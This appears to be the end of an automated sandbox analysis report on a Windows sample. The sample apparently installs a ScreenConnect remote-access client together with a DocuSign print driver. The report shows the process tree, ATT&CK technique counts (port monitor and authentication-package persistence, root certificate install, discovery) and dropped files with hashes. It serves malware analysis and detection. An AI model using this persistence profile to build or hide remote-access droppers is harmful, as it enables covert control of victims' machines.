                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1276,i,10926629202756133859,4394947783318458988,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:14
                                                3⤵
                                                  PID:6260
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1280,i,17247780021645422323,7024946390235066558,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:14
                                                  3⤵
                                                    PID:6268
                                              • C:\Windows\System32\spoolsv.exe
                                                C:\Windows\System32\spoolsv.exe
                                                1⤵
                                                • Boot or Logon Autostart Execution: Port Monitors
                                                • Drops file in System32 directory
                                                • Drops file in Windows directory
                                                • Checks SCSI registry key(s)
                                                • Modifies data under HKEY_USERS
                                                PID:3228
                                              • C:\Windows\system32\DrvInst.exe
                                                DrvInst.exe "4" "d" "C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf" "9" "43057df13" "0000000000000184" "WinSta0\Default" "0000000000000178" "208" "C:\Windows\system32\spool\tools\Microsoft Print To PDF"
                                                1⤵
                                                • Drops file in System32 directory
                                                • Drops file in Windows directory
                                                • Modifies data under HKEY_USERS
                                                PID:5888
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                1⤵
                                                  PID:4124
                                                • C:\Windows\explorer.exe
                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                  1⤵
                                                  • Suspicious use of SetWindowsHookEx
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:4252
                                                  • C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                                                    "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                                                    2⤵
                                                    • Executes dropped EXE
                                                    • Drops file in Program Files directory
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2476
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                  1⤵
                                                    PID:6224
                                                  • C:\Windows\explorer.exe
                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                    1⤵
                                                    • Modifies registry class
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:6856
                                                    • C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                                                      "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Drops file in Program Files directory
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:6940
                                                  • C:\Windows\system32\LogonUI.exe
                                                    "LogonUI.exe" /flags:0x0 /state0:0xa39dd855 /state1:0x41c64e6d
                                                    1⤵
                                                      PID:5404
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k CameraMonitor
                                                      1⤵
                                                        PID:6528

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Reconnaissance

                                                            Resource Development

                                                            Initial Access

                                                            Execution

                                                            Command and Scripting Interpreter

                                                            2
                                                            T1059

                                                            PowerShell

                                                            1
                                                            T1059.001

                                                            Windows Command Shell

                                                            1
                                                            T1059.003

                                                            Persistence

                                                            Boot or Logon Autostart Execution

                                                            4
                                                            T1547

                                                            Authentication Package

                                                            1
                                                            T1547.002

                                                            Port Monitors

                                                            1
                                                            T1547.010

                                                            Registry Run Keys / Startup Folder

                                                            2
                                                            T1547.001

                                                            Create or Modify System Process

                                                            1
                                                            T1543

                                                            Windows Service

                                                            1
                                                            T1543.003

                                                            Event Triggered Execution

                                                            1
                                                            T1546

                                                            Component Object Model Hijacking

                                                            1
                                                            T1546.015

                                                            Privilege Escalation

                                                            Boot or Logon Autostart Execution

                                                            4
                                                            T1547

                                                            Authentication Package

                                                            1
                                                            T1547.002

                                                            Port Monitors

                                                            1
                                                            T1547.010

                                                            Registry Run Keys / Startup Folder

                                                            2
                                                            T1547.001

                                                            Create or Modify System Process

                                                            1
                                                            T1543

                                                            Windows Service

                                                            1
                                                            T1543.003

                                                            Event Triggered Execution

                                                            1
                                                            T1546

                                                            Component Object Model Hijacking

                                                            1
                                                            T1546.015

                                                            Defense Evasion

                                                            Modify Registry

                                                            4
                                                            T1112

                                                            Subvert Trust Controls

                                                            2
                                                            T1553

                                                            Install Root Certificate

                                                            1
                                                            T1553.004

                                                            SIP and Trust Provider Hijacking

                                                            1
                                                            T1553.003

                                                            Credential Access

                                                            Discovery

                                                            Browser Information Discovery

                                                            1
                                                            T1217

                                                            Peripheral Device Discovery

                                                            2
                                                            T1120

                                                            Query Registry

                                                            5
                                                            T1012

                                                            System Information Discovery

                                                            4
                                                            T1082

                                                            System Location Discovery

                                                            1
                                                            T1614

                                                            System Language Discovery

                                                            1
                                                            T1614.001

                                                            System Time Discovery

                                                            1
                                                            T1124

                                                            Lateral Movement

                                                            Collection

                                                            Command and Control

                                                            Exfiltration

                                                            Impact

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            e5953f5.rbs
                                                            • Path C:\Config.Msi\e5953f5.rbs
                                                            • Size 214KB
                                                            • SHA256 32bf17868a920aca3096d7e34c8c0becb6cb02091bb2976a83d57b0dd9af9cad
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            e5953f8.rbs
                                                            • Path C:\Config.Msi\e5953f8.rbs
                                                            • Size 710KB
                                                            • SHA256 c4dedc449ee0f613b7ecb3a5b01f5543e07a3fe0b3e9bd4b06a839f20544f6cc
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            e5953fa.rbs
                                                            • Path C:\Config.Msi\e5953fa.rbs
                                                            • Size 5KB
                                                            • SHA256 b56405b6a89033ba4b216b31f85a954af5e6e5380eab1ffc64dc5df1ea3be30b
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Client.Override.en-US.resources
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.Override.en-US.resources
                                                            • Size 343B
                                                            • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            Client.Override.resources
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.Override.resources
                                                            • Size 54KB
                                                            • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Client.en-US.resources
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.en-US.resources
                                                            • Size 47KB
                                                            • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Client.resources
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.resources
                                                            • Size 26KB
                                                            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.Client.dll
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.Client.dll
                                                            • Size 192KB
                                                            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.ClientService.dll
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.dll
                                                            • Size 67KB
                                                            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.ClientService.exe
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe
                                                            • Size 93KB
                                                            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.WindowsAuthenticationPackage.dll
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsAuthenticationPackage.dll
                                                            • Size 254KB
                                                            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.WindowsClient.exe
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe
                                                            • Size 595KB
                                                            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.WindowsClient.exe.config
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe.config
                                                            • Size 266B
                                                            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            ScreenConnect.WindowsCredentialProvider.dll
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsCredentialProvider.dll
                                                            • Size 837KB
                                                            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            app.config
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\app.config
                                                            • Size 2KB
                                                            • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            system.config
                                                            • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\system.config
                                                            • Size 947B
                                                            • SHA256 b9a237422648f8014f954821b8d4e47949091407cf26cd8ca1a70b3deb435c46
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            DocuSign.PrintDriverApplication.exe
                                                            • Path C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                                                            • Size 552KB
                                                            • SHA256 e1f04f8b64dfdfbcb8772cb9a16ce94b1112c665e99a85fcf37f683321f0fc3b
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            blocklist
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
                                                            • Size 105KB
                                                            • SHA256 b83cbf64cc348bda7418cf4d51290f954f1a229bfc174076604c71e6316695b1
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            settings.dat
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                            • Size 280B
                                                            • SHA256 a23025f4d05b749cd64019222483e40f71e2bd4380052e2b64a234eb0323dd12
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            settings.dat
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                            • Size 280B
                                                            • SHA256 ae4519203ea4a71f8bb5a86dffca3b288f02f1bf4cb8d6f78e8a591b676414b1
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            BookmarkMergedSurfaceOrdering
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                                                            • Size 6B
                                                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                            • MD5 SHA1 SHA512
                                                            Submit Download

                                                            the-real-index
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                            • Size 2KB
                                                            • SHA256 ebc5c5870e88bd379f3d33e126a1b7d68822e5f60fab25ffe6e051b08c32c208
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            SiteList-Enterprise.json
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                            • Size 2B
                                                            • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                            • MD5 SHA1 SHA512
                                                            Submit Download

                                                            Edge Profile.ico
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                            • Size 70KB
                                                            • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            SCT Auditing Pending Reports
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                                            • Size 2B
                                                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                            • MD5 SHA1 SHA512
                                                            Submit Download

                                                            Sdch Dictionaries
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
                                                            • Size 40B
                                                            • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                            • MD5 SHA1 SHA512
                                                            Submit Download

                                                            Preferences
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                            • Size 11KB
                                                            • SHA256 969f4b1643b51af137d90a7158131b52f81c5e2420c31d83d9d4bb351dc4c53a
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Preferences
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                            • Size 11KB
                                                            • SHA256 ad9d55ad519ec156b96cd35481763b9efa9c0697a12dc010387a16406ca34579
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Preferences
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                            • Size 11KB
                                                            • SHA256 f50cf5d98e901d1317a2cfd5a52c532b0f3eec7f9615d2df2905bf4a8b659464
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Secure Preferences
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                            • Size 29KB
                                                            • SHA256 9a103f5498e6e3f240acd3ee0542ef2f4a3169c3f1de7b7c35bfc41a118519ea
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            sync_diagnostic.log
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                            • Size 4KB
                                                            • SHA256 3e0376303cf03fda8accf9741cca3c47e6be1380711f0439b17148f694f0401d
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Local State
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                            • Size 33KB
                                                            • SHA256 322103bde6779a27ee490816061ce7a896beb37c64affc01b881f93fb6076837
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Local State
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                            • Size 33KB
                                                            • SHA256 a7dd5fd2eb608c545cbff350e0cea8c6233f0156ce4a40be8c3f1c49604a21cf
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Local State
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                            • Size 37KB
                                                            • SHA256 632902d68a63c95013dae7d4e14ecb45df5e85064a8c37d78f0d62a505072ae3
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Local State
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                            • Size 40KB
                                                            • SHA256 c8240495583217d75faa91fb11002642c010404c70942773505ca52476e07434
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Local State
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                            • Size 33KB
                                                            • SHA256 298af7c25b0ae02e98bebb556a36473f902857c62242bcff2f4ff226b8436910
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            0ba79cca-bf46-4e83-9cc0-f36edc87bfcc.tmp
                                                            • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\0ba79cca-bf46-4e83-9cc0-f36edc87bfcc.tmp
                                                            • Size 13B
                                                            • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                                            • MD5 SHA1 SHA512
                                                            Submit Download

                                                            DocusignPrintDriver3.6.3.xps.x64_3.exe
                                                            • Path C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe
                                                            • Size 5.4MB
                                                            • SHA256 7ad243cd358d916e029ba8ff9a616dfdcab29b594a9ebf08a66a1c4bd63fb7e2
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            FeedbackTool_6.exe
                                                            • Path C:\Users\Admin\AppData\Local\Temp\FeedbackTool_6.exe
                                                            • Size 7.9MB
                                                            • SHA256 76bdaeeccb6bb7fca7ce3bb76cfd542e6f2b48304d9e925656308941e5bd94b2
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            CustomAction.config
                                                            • Path C:\Users\Admin\AppData\Local\Temp\MSIF93B.tmp-\CustomAction.config
                                                            • Size 1KB
                                                            • SHA256 33d947c04a10e3aff3dca3b779393fa56ce5f02251c8cbae5076a125fdea081f
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            DocuSign.Installer.CustomActions.dll
                                                            • Path C:\Users\Admin\AppData\Local\Temp\MSIF93B.tmp-\DocuSign.Installer.CustomActions.dll
                                                            • Size 10KB
                                                            • SHA256 0c9639fed56eaa486b2c5e0be4b2b56352e95fc7329d7fa4a00580b06bd01ba6
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Microsoft.Deployment.WindowsInstaller.dll
                                                            • Path C:\Users\Admin\AppData\Local\Temp\MSIF93B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                                                            • Size 179KB
                                                            • SHA256 cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.ClientSetup_4.msi
                                                            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup_4.msi
                                                            • Size 13.0MB
                                                            • SHA256 0a7fedd398147c59dedcc5eda38f7042fe1c0d609f0e405e3023af4b7a75a078
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            progress.hta
                                                            • Path C:\Users\Admin\AppData\Local\Temp\progress.hta
                                                            • Size 2KB
                                                            • SHA256 aa2998352f19fe009a96307b657fa2766e86c17d87648ed484cc3ff60494c99c
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            content_new.js
                                                            • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1668_1907385843\CRX_INSTALL\content_new.js
                                                            • Size 10KB
                                                            • SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            MSI17F2.tmp
                                                            • Path C:\Windows\Installer\MSI17F2.tmp
                                                            • Size 211KB
                                                            • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            MSI56F0.tmp
                                                            • Path C:\Windows\Installer\MSI56F0.tmp
                                                            • Size 1.0MB
                                                            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            Microsoft.Deployment.WindowsInstaller.dll
                                                            • Path C:\Windows\Installer\MSI56F0.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                                                            • Size 172KB
                                                            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.Core.dll
                                                            • Path C:\Windows\Installer\MSI56F0.tmp-\ScreenConnect.Core.dll
                                                            • Size 539KB
                                                            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.InstallerActions.dll
                                                            • Path C:\Windows\Installer\MSI56F0.tmp-\ScreenConnect.InstallerActions.dll
                                                            • Size 11KB
                                                            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ScreenConnect.Windows.dll
                                                            • Path C:\Windows\Installer\MSI56F0.tmp-\ScreenConnect.Windows.dll
                                                            • Size 1.6MB
                                                            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            MSI6CDB.tmp
                                                            • Path C:\Windows\Installer\MSI6CDB.tmp
                                                            • Size 202KB
                                                            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            MSIE5AB.tmp
                                                            • Path C:\Windows\Installer\MSIE5AB.tmp
                                                            • Size 149KB
                                                            • SHA256 ea5d4b4c7e7be1ce24a614ae1e31a58bcae6f1694dd8bfb735cf47d35a08d59b
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            icon.ico
                                                            • Path C:\Windows\Installer\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}\icon.ico
                                                            • Size 73KB
                                                            • SHA256 406c793c20be6bdde619ab7c1385567dafd7ae923cdca08db0b9390fa810e9c3
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            docusignprintdriver.inf_amd64_871637b342fb7360.ini
                                                            • Path C:\Windows\System32\DriverStore\FileRepository\docusignprintdriver.inf_amd64_871637b342fb7360.ini
                                                            • Size 883B
                                                            • SHA256 5b569304f61162dbde5a65bfc2adc704f14aa1cda44992c7709357746c1ecb59
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            2ab29353.gpd
                                                            • Path C:\Windows\System32\spool\V4Dirs\A355A389-D528-40DA-A188-54AAA9009CBF\2ab29353.gpd
                                                            • Size 21KB
                                                            • SHA256 2498e523a459f6bf51436e0bd23a449bd6f6e7a3f7f50bde0484427942915839
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            DocusignPrintDriver3.6.3.xps.x64_3.exe
                                                            • Path C:\Windows\Temp\{2F9C21FB-7D4C-4C2B-9503-2DC9EB46847E}\.cr\DocusignPrintDriver3.6.3.xps.x64_3.exe
                                                            • Size 1.6MB
                                                            • SHA256 43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            BootstrapperCore.config
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\.ba\BootstrapperCore.config
                                                            • Size 1KB
                                                            • SHA256 e9b4b48a7445e774ac7907c77606f1964aaa33b4725311ac336ed8f59f0bad79
                                                            • MD5 SHA1 SHA512 TLSH
                                                            Submit Download

                                                            BootstrapperCore.dll
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\.ba\BootstrapperCore.dll
                                                            • Size 87KB
                                                            • SHA256 f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            DocuSign.BootstrapperApplication.dll
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\.ba\DocuSign.BootstrapperApplication.dll
                                                            • Size 181KB
                                                            • SHA256 6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            mbahost.dll
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\.ba\mbahost.dll
                                                            • Size 119KB
                                                            • SHA256 9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            MainPackage
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\MainPackage
                                                            • Size 3.4MB
                                                            • SHA256 6e4f0f8335e1e468700772213bac21575deb0a1c1405a33b721335feb8a9399f
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            de.mst
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\de.mst
                                                            • Size 32KB
                                                            • SHA256 02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            es.mst
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\es.mst
                                                            • Size 32KB
                                                            • SHA256 0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            fr.mst
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\fr.mst
                                                            • Size 36KB
                                                            • SHA256 c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            it.mst
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\it.mst
                                                            • Size 32KB
                                                            • SHA256 54e62ed39933a2f5518cd3a717499fc99dbbecad0d868b41cc1e6cf8e1df3bd3
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ja.mst
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\ja.mst
                                                            • Size 32KB
                                                            • SHA256 f38b369e550f6426e2308fff087330ec0a2f6d00d56e91198a084b85c3263efe
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            ko.mst
                                                            • Path C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\ko.mst
                                                            • Size 32KB
                                                            • SHA256 985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                            Submit Download

                                                            memory/716-16-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-7-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-0-0x00007FFF2FBCF000-0x00007FFF2FBD0000-memory.dmp
                                                            Download

                                                            memory/716-14-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-15-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-3-0x00000215CE4F0000-0x00000215CE512000-memory.dmp
                                                            Download

                                                            memory/716-4-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-6-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-19-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

